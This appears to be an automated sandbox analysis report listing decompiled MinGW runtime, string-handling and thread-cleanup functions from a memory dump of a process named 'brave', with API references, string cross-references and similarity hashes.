String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 132a4c11c153de298ffea9ed1bdabd017d4d66a2df506e748bccd0aa60d22546
Instruction ID: d58e4da7aa11897160b2e0913186f4e784a34881fb0a598ec24926d9e3ccd1ea
Opcode Fuzzy Hash: 132a4c11c153de298ffea9ed1bdabd017d4d66a2df506e748bccd0aa60d22546
Instruction Fuzzy Hash: FA51C173A39A8281FB50AB59F8416B9B760FB89B94FC84135EE0C13368EE3CE545C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEFCD30 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 122COMMON

Download Yara Rule

Strings

%-*.*s, xrefs: 00007FF77BEFCEC6
%.*s, xrefs: 00007FF77BEFCEB8
%*.*s, xrefs: 00007FF77BEFCE75

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: %*.*s$%-*.*s$%.*s
API String ID: 0-4054516066
Opcode ID: 3b4b1a4249cd6db309c4553ff8de0bac3b9e23fda156ad8bb14e5570f57846da
Instruction ID: 1260f345f8e0849ee87fac786f7824bb979721ef6fcdf05a44b711dd68ef670c
Opcode Fuzzy Hash: 3b4b1a4249cd6db309c4553ff8de0bac3b9e23fda156ad8bb14e5570f57846da
Instruction Fuzzy Hash: 3F518AB3E342428AE7A0AF2DC54077DB7A2DB44B94FE48531DA08477ECDA6DF9508760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEFC900 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00007FF77FF77BEFC900(void* __edx, void* __rax, void* __rcx, void* __r8) {
				char _v72;
				char _v80;
				void* _t24;
				void* _t25;
				void* _t28;
				signed long long _t35;
				signed int _t36;
				signed long long _t39;
				void* _t42;
				void* _t50;
				void* _t58;

				_t42 = __r8;
				if (__rax < 0) goto 0x7befc91f;
				_t58 =  >  ? __rax : _t50;
				_t39 =  *((intOrPtr*)(__r8 + 8));
				r8d =  *((intOrPtr*)(__r8 + 0xc));
				if ((_t39 & 0x00006000) == 0x6000) goto 0x7befca28;
				if (_t28 - r8d < 0) goto 0x7befc9c0;
				 *((long long*)(__r8 + 0xc)) = 0xffffffff;
				if (_t58 > 0) goto 0x7befc97b;
				goto 0x7befca0d;
				E00007FF77FF77BEFC8A0(_t25, __r8);
				if (_t58 == 0) goto 0x7befca0d;
				_v80 = 0;
				strlen(??);
				_t24 = E00007FF77FF77BF01940( &_v72, __rcx + _t39, _t39,  &_v80);
				_t35 = _t39;
				if (_t35 == 0) goto 0x7befca0d;
				if (_t35 >= 0) goto 0x7befc960;
				goto 0x7befc965;
				asm("o16 nop [cs:eax+eax]");
				r8d = r8d - _t28;
				 *((intOrPtr*)(_t42 + 0xc)) = r8d;
				_t36 = spl & 0x00000004;
				if (_t36 != 0) goto 0x7befc94a;
				r8d = r8d - 1;
				 *((intOrPtr*)(_t42 + 0xc)) = r8d;
				 *((long long*)(_t42 + 0x508d0c43)) =  *((long long*)(_t42 + 0x508d0c43)) - 1;
				 *0xFFFEB3E7C0850C73 =  *((long long*)(0xfffeb3e7c0850c73)) - 1;
				if (_t36 != 0) goto 0x7befc9e0;
				goto 0x7befc94a;
				 *((long long*)(_t42 + 0x508d0c43)) =  *((long long*)(_t42 + 0x508d0c43)) - 1;
				 *0xFFFE93E7C0850C73 =  *((long long*)(0xfffe93e7c0850c73)) - 1;
				if ( *((long long*)(0xfffe93e7c0850c73)) > 0) goto 0x7befca00;
				return _t24;
			}

0x7ff77befc913
0x7ff77befc918
0x7ff77befc91c
0x7ff77befc91f
0x7ff77befc922
0x7ff77befc934
0x7ff77befc93d
0x7ff77befc943
0x7ff77befc956
0x7ff77befc958
0x7ff77befc96e
0x7ff77befc975
0x7ff77befc97e
0x7ff77befc989
0x7ff77befc99a
0x7ff77befc99f
0x7ff77befc9a2
0x7ff77befc9a4
0x7ff77befc9b3
0x7ff77befc9b6
0x7ff77befc9c0
0x7ff77befc9c3
0x7ff77befc9c7
0x7ff77befc9ca
0x7ff77befc9d0
0x7ff77befc9d4
0x7ff77befc9ec
0x7ff77befc9f2
0x7ff77befc9f8
0x7ff77befc9fa
0x7ff77befca0c
0x7ff77befca12
0x7ff77befca18
0x7ff77befca24

Strings

%*.*S, xrefs: 00007FF77BEFCA3D
%-*.*S, xrefs: 00007FF77BEFCA76
%.*S, xrefs: 00007FF77BEFCA68

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: %*.*S$%-*.*S$%.*S
API String ID: 0-2115465065
Opcode ID: 7168d2604b3189bc1086008fb78c7252569c5abbf682eefe2c3ff4568daf00a2
Instruction ID: 8272aa6dfaf2361823d5d15e0e15ebefff6fb8f1cec1ec6671356d339167643d
Opcode Fuzzy Hash: 7168d2604b3189bc1086008fb78c7252569c5abbf682eefe2c3ff4568daf00a2
Instruction Fuzzy Hash: 4C41B673B386824AE790AB2DD400679E291EB84B94FE4C531DA0D477EDDE7CF5808720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF045C0 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 215stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF77BF045E9
memcmp.MSVCRT ref: 00007FF77BF04608
memcmp.MSVCRT ref: 00007FF77BF04696
memcmp.MSVCRT ref: 00007FF77BF04718

Part of subcall function 00007FF77BF11250: strlen.MSVCRT ref: 00007FF77BF1126E

memcmp.MSVCRT ref: 00007FF77BF047C4

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF04649, 00007FF77BF046D3, 00007FF77BF04755, 00007FF77BF04801, 00007FF77BF0481A
basic_string::compare, xrefs: 00007FF77BF04642, 00007FF77BF046CC, 00007FF77BF0474E, 00007FF77BF047FA, 00007FF77BF04813

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 68f9f2bcd5ab65c1f543f9db557d2865906ff8277c6dcd0d61bc8145445e6c47
Instruction ID: 948cec76cc5840999ec7718837fbfe1dcfdfc0362d893332710d2b3c7f212bb3
Opcode Fuzzy Hash: 68f9f2bcd5ab65c1f543f9db557d2865906ff8277c6dcd0d61bc8145445e6c47
Instruction Fuzzy Hash: 4051B8A3B349C681FE10BA6AAD501E492515F49FE4FD84631DE2C577F9ED1CDA818210

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF05670 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 202stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF77BF05699
memcmp.MSVCRT ref: 00007FF77BF056BA
memcmp.MSVCRT ref: 00007FF77BF05746
memcmp.MSVCRT ref: 00007FF77BF057C5

Part of subcall function 00007FF77BF11250: strlen.MSVCRT ref: 00007FF77BF1126E

memcmp.MSVCRT ref: 00007FF77BF05861

Strings

basic_string::compare, xrefs: 00007FF77BF056F4, 00007FF77BF0577C, 00007FF77BF057FB, 00007FF77BF05897, 00007FF77BF058B0
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF056FB, 00007FF77BF05783, 00007FF77BF05802, 00007FF77BF0589E, 00007FF77BF058B7

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 59c97ae42c308dfeb0f959f2ed3afa6849da74c1a26816688b8ea568bade8b86
Instruction ID: fd17af132e9aa1560cfbab303973f932c73f038e2e7e9a85d149f1928df7647c
Opcode Fuzzy Hash: 59c97ae42c308dfeb0f959f2ed3afa6849da74c1a26816688b8ea568bade8b86
Instruction Fuzzy Hash: D55184A3B399C681FE14AA2AED502E492819F44FE0F9C4631EE1C577F9ED5CD9828310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0D5D0 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BF0D5D0(void* __eflags, long long* __rcx, intOrPtr* __rdx) {
				signed int _t6;
				long long _t15;
				long long _t17;
				signed char* _t18;

				_t17 =  *((intOrPtr*)(__rdx + 8));
				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				_t18 =  *((intOrPtr*)(__rdx));
				if (__eflags == 0) goto 0x7bf0d5f6;
				if (_t18 == 0) goto 0x7bf0d662;
				if (_t17 - 0xf > 0) goto 0x7bf0d630;
				if (_t17 != 1) goto 0x7bf0d620;
				_t6 =  *_t18 & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = _t17;
				 *((char*)(_t15 + _t17)) = 0;
				return _t6;
			}

0x7ff77bf0d5d8
0x7ff77bf0d5df
0x7ff77bf0d5e3
0x7ff77bf0d5e6
0x7ff77bf0d5ef
0x7ff77bf0d5f4
0x7ff77bf0d5fa
0x7ff77bf0d600
0x7ff77bf0d602
0x7ff77bf0d607
0x7ff77bf0d60a
0x7ff77bf0d60e
0x7ff77bf0d61a

Strings

basic_string::_M_create, xrefs: 00007FF77BF0D66E, 00007FF77BF0D702
basic_string::basic_string, xrefs: 00007FF77BF0D73E, 00007FF77BF0D798
string::string, xrefs: 00007FF77BF0D7E8
basic_string::_M_construct null not valid, xrefs: 00007FF77BF0D662
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF0D745, 00007FF77BF0D79F, 00007FF77BF0D7EF

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-4165567116
Opcode ID: 57c91d0e2d534c20ff1c2b42a6d8babaaafc64c8f69f6f4f5bb2339d47d93c0b
Instruction ID: 3ce66d55c670b6125159043f2e5686623224407a532f1977ca47ce5677a6d1ff
Opcode Fuzzy Hash: 57c91d0e2d534c20ff1c2b42a6d8babaaafc64c8f69f6f4f5bb2339d47d93c0b
Instruction Fuzzy Hash: 29519373A35BC684EB10BF19D4501B8A364EB18F94BD44A33DE6C177A9EE2CD596C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0D020 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BF0D020(void* __eflags, long long* __rcx, intOrPtr* __rdx) {
				signed int _t6;
				long long _t15;
				long long _t17;
				signed char* _t18;

				_t17 =  *((intOrPtr*)(__rdx + 8));
				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				_t18 =  *((intOrPtr*)(__rdx));
				if (__eflags == 0) goto 0x7bf0d046;
				if (_t18 == 0) goto 0x7bf0d0b2;
				if (_t17 - 0xf > 0) goto 0x7bf0d080;
				if (_t17 != 1) goto 0x7bf0d070;
				_t6 =  *_t18 & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = _t17;
				 *((char*)(_t15 + _t17)) = 0;
				return _t6;
			}

0x7ff77bf0d028
0x7ff77bf0d02f
0x7ff77bf0d033
0x7ff77bf0d036
0x7ff77bf0d03f
0x7ff77bf0d044
0x7ff77bf0d04a
0x7ff77bf0d050
0x7ff77bf0d052
0x7ff77bf0d057
0x7ff77bf0d05a
0x7ff77bf0d05e
0x7ff77bf0d06a

Strings

basic_string::_M_create, xrefs: 00007FF77BF0D0BE, 00007FF77BF0D152
basic_string::basic_string, xrefs: 00007FF77BF0D18E, 00007FF77BF0D1E8
string::string, xrefs: 00007FF77BF0D238
basic_string::_M_construct null not valid, xrefs: 00007FF77BF0D0B2
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF0D195, 00007FF77BF0D1EF, 00007FF77BF0D23F

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-4165567116
Opcode ID: e3e8cbf4f69290a6b3de281f3e3b3e56b2d6e49d707012ad7580e136db3a3009
Instruction ID: dde7047e96f608f71b279969ec52c98993d6f7da75208c71a1a90a490138673a
Opcode Fuzzy Hash: e3e8cbf4f69290a6b3de281f3e3b3e56b2d6e49d707012ad7580e136db3a3009
Instruction Fuzzy Hash: EE51B373A39BCA84EB10BB29D4501B8A364EB18F94BD44A33DE5C177A9DE3CD596C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF5560 Relevance: 10.6, APIs: 7, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FF77FF77BEF5560(void* __ecx, void* __rax, long long __rcx, void* __rdx, void* __r12, void* __r13) {
				int _t40;
				int _t43;
				void* _t48;
				intOrPtr _t50;
				void* _t75;
				intOrPtr _t76;
				intOrPtr _t78;
				intOrPtr _t80;
				intOrPtr _t82;
				intOrPtr _t85;
				intOrPtr _t87;
				long _t90;
				intOrPtr* _t92;
				intOrPtr* _t93;
				long long _t121;

				_t75 = __rax;
				_t121 = __rcx;
				E00007FF77FF77BEF2D40(__ecx, __rdx);
				 *((long long*)(_t75 + 8)) = _t121;
				if ( *((intOrPtr*)(_t75 + 0x1d8)) == 0) goto 0x7bef5589;
				E00007FF77FF77BEF3280(_t75,  *((intOrPtr*)(_t75 + 0x1d8)));
				if (( *(_t75 + 0x40) & 0x00000030) == 0) goto 0x7bef5628;
				_t92 =  *0x7c196920; // 0x7ff77c1a1400
				_t76 =  *_t92;
				if (_t76 == 0) goto 0x7bef5609;
				if ( *((long long*)(_t76 + 0x30)) != 0) goto 0x7bef5622;
				 *((long long*)( *_t92 + 0x30)) = 0x7c192bd8;
				TlsGetValue(_t90);
				if (0x7c192bd8 == 0) goto 0x7bef5600;
				if ( *0x7FF77C192C00 == 0) goto 0x7bef563a;
				 *0x7FF77C192C94 = 1;
				r13d =  *0x7FF77C192BE0;
				if ( *((intOrPtr*)(0x7ff77c192c08)) == 0) goto 0x7bef55eb;
				CloseHandle(__r12);
				 *((long long*)(0x7ff77c192c08)) = 0;
				if (( *0x7FF77C192C1C & 0x00000004) != 0) goto 0x7bef568d;
				_t50 = r13d;
				__imp___endthreadex();
				E00007FF77FF77BEF7060();
				if ( *((long long*)(0x7ff77c192c08)) == 0) goto 0x7bef55a9;
				_t78 =  *_t92;
				if (_t78 != 0) goto 0x7bef5622;
				E00007FF77FF77BEF7060();
				goto 0x7bef55b7;
				_t18 = _t92 + 0xd0; // 0xd0
				 *((long long*)( *((intOrPtr*)(_t78 + 0x30)))) = 0xdeadbeef;
				if (_t18 == 0) goto 0x7bef564b;
				_t40 = CloseHandle(__r13);
				 *((long long*)(0x7ff77c192c08)) = 0;
				r13d =  *((intOrPtr*)(0x7ff77c192be0));
				E00007FF77FF77BEF2D20(_t40, 0x7c192bd8);
				_t80 =  *_t92;
				if (_t80 == 0) goto 0x7bef56d6;
				if ( *((long long*)(_t80 + 0x30)) != 0) goto 0x7bef56c0;
				 *((long long*)(_t80 + 0x30)) = 0x7c192bd8;
				TlsSetValue(??, ??);
				goto 0x7bef5600;
				 *0x7c192bd8 = 0xdeadbeef;
				_t43 = CloseHandle(??);
				 *((long long*)(0x7ff77c192c00)) = 0;
				E00007FF77FF77BEF2D20(_t43, 0x7c192bd8);
				_t82 =  *_t92;
				if (_t82 == 0) goto 0x7bef56f4;
				if ( *((long long*)(_t82 + 0x30)) == 0) goto 0x7bef56c6;
				goto 0x7bef567e;
				 *((long long*)( *_t92 + 0x30)) = 0x7c192bd8;
				goto 0x7bef567e;
				E00007FF77FF77BEF7060();
				_t85 =  *_t92;
				if ( *((long long*)(0x7ff77c192c08)) == 0) goto 0x7bef5670;
				if (_t85 != 0) goto 0x7bef56c0;
				E00007FF77FF77BEF7060();
				goto 0x7bef56c0;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t85 + 0x30)) == 0) goto 0x7bef56c6;
				goto 0x7bef56e8;
				asm("o16 nop [cs:eax+eax]");
				_push(_t92);
				_t93 =  *0x7c196920; // 0x7ff77c1a1400
				_t87 =  *_t93;
				if (_t87 == 0) goto 0x7bef5760;
				if ( *((long long*)(_t87 + 0x18)) != 0) goto 0x7bef5780;
				 *((long long*)(_t87 + 0x18)) = 0x7c1a13d0;
				if ( *0x7c1a13d0 == 0) goto 0x7bef5750;
				_t48 = E00007FF77FF77BEF2D40(_t50, 0x7c1a13d0);
				if (0x7c1a13d0 == 0) goto 0x7bef5750;
				if ( *0x7FF77C1A13F0 <= 0) goto 0x7bef5790;
				return _t48;
			}

0x7ff77bef5560
0x7ff77bef5569
0x7ff77bef556c
0x7ff77bef5578
0x7ff77bef5582
0x7ff77bef5584
0x7ff77bef558d
0x7ff77bef5593
0x7ff77bef559a
0x7ff77bef55a0
0x7ff77bef55a7
0x7ff77bef55b3
0x7ff77bef55b9
0x7ff77bef55c5
0x7ff77bef55d0
0x7ff77bef55d2
0x7ff77bef55dc
0x7ff77bef55e3
0x7ff77bef55e5
0x7ff77bef55eb
0x7ff77bef55fa
0x7ff77bef5600
0x7ff77bef5603
0x7ff77bef5609
0x7ff77bef5613
0x7ff77bef5615
0x7ff77bef561b
0x7ff77bef561d
0x7ff77bef5626
0x7ff77bef5628
0x7ff77bef563a
0x7ff77bef5643
0x7ff77bef5645
0x7ff77bef564b
0x7ff77bef5657
0x7ff77bef565c
0x7ff77bef5661
0x7ff77bef5667
0x7ff77bef566e
0x7ff77bef5677
0x7ff77bef5682
0x7ff77bef5688
0x7ff77bef5692
0x7ff77bef569a
0x7ff77bef56a3
0x7ff77bef56ac
0x7ff77bef56b1
0x7ff77bef56b7
0x7ff77bef56be
0x7ff77bef56c4
0x7ff77bef56d0
0x7ff77bef56d4
0x7ff77bef56d6
0x7ff77bef56de
0x7ff77bef56e6
0x7ff77bef56eb
0x7ff77bef56ed
0x7ff77bef56f2
0x7ff77bef56f4
0x7ff77bef56fe
0x7ff77bef5703
0x7ff77bef5705
0x7ff77bef5710
0x7ff77bef5715
0x7ff77bef571c
0x7ff77bef5722
0x7ff77bef5729
0x7ff77bef5732
0x7ff77bef573d
0x7ff77bef573f
0x7ff77bef5747
0x7ff77bef574e
0x7ff77bef5757

APIs

Part of subcall function 00007FF77BEF2D40: TlsGetValue.KERNEL32 ref: 00007FF77BEF2DA0

TlsGetValue.KERNEL32 ref: 00007FF77BEF55B9
CloseHandle.KERNEL32 ref: 00007FF77BEF55E5
_endthreadex.MSVCRT ref: 00007FF77BEF5603
longjmp.MSVCRT ref: 00007FF77BEF5634
CloseHandle.KERNEL32 ref: 00007FF77BEF5645
TlsSetValue.KERNEL32 ref: 00007FF77BEF5682
CloseHandle.KERNEL32 ref: 00007FF77BEF569A

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CloseHandleValue$_endthreadexlongjmp
String ID:
API String ID: 3990644698-0
Opcode ID: 0214bab7663271ea6fee6ac32ca2fa0cc39244fbefd9c866a5c200fdd5429a6d
Instruction ID: e37f75eb4045ce71bb104ca63a85b8c71f071740d2fa24672c87c3519ff5eb9c
Opcode Fuzzy Hash: 0214bab7663271ea6fee6ac32ca2fa0cc39244fbefd9c866a5c200fdd5429a6d
Instruction Fuzzy Hash: AB515A73A39B0289EB94AB59D454378A6E0FF54B48FCA4075DA0D033A8DFBCB544C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF78B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEF78B0(void* __edx, intOrPtr* __rcx) {
				intOrPtr _t18;
				intOrPtr _t23;
				void* _t28;
				intOrPtr* _t29;

				_t29 =  *0x7c196920; // 0x7ff77c1a1400
				_t18 =  *_t29;
				r12d = __edx;
				if (_t18 == 0) goto 0x7bef7948;
				if ( *((long long*)(_t18 + 0xa0)) != 0) goto 0x7bef7968;
				 *((long long*)(_t18 + 0xa0)) = 0x7c192be8;
				E00007FF77FF77BEF8830(0x7c192be8, _t28);
				if ( *((long long*)( *__rcx)) != 0xbab1f0ed) goto 0x7bef79a9;
				if ( *((intOrPtr*)( *__rcx + 4)) <= 0) goto 0x7bef79a9;
				 *((long long*)( *__rcx + 4)) =  *((long long*)( *__rcx + 4)) - 1;
				_t23 =  *_t29;
				if (_t23 == 0) goto 0x7bef7978;
				if ( *((long long*)(_t23 + 0xa0)) != 0) goto 0x7bef79a0;
				 *((long long*)(_t23 + 0xa0)) = 0x7c192be8;
				E00007FF77FF77BEF8870(0x7c192be8);
				return r12d;
			}

0x7ff77bef78b8
0x7ff77bef78bf
0x7ff77bef78c5
0x7ff77bef78cb
0x7ff77bef78d5
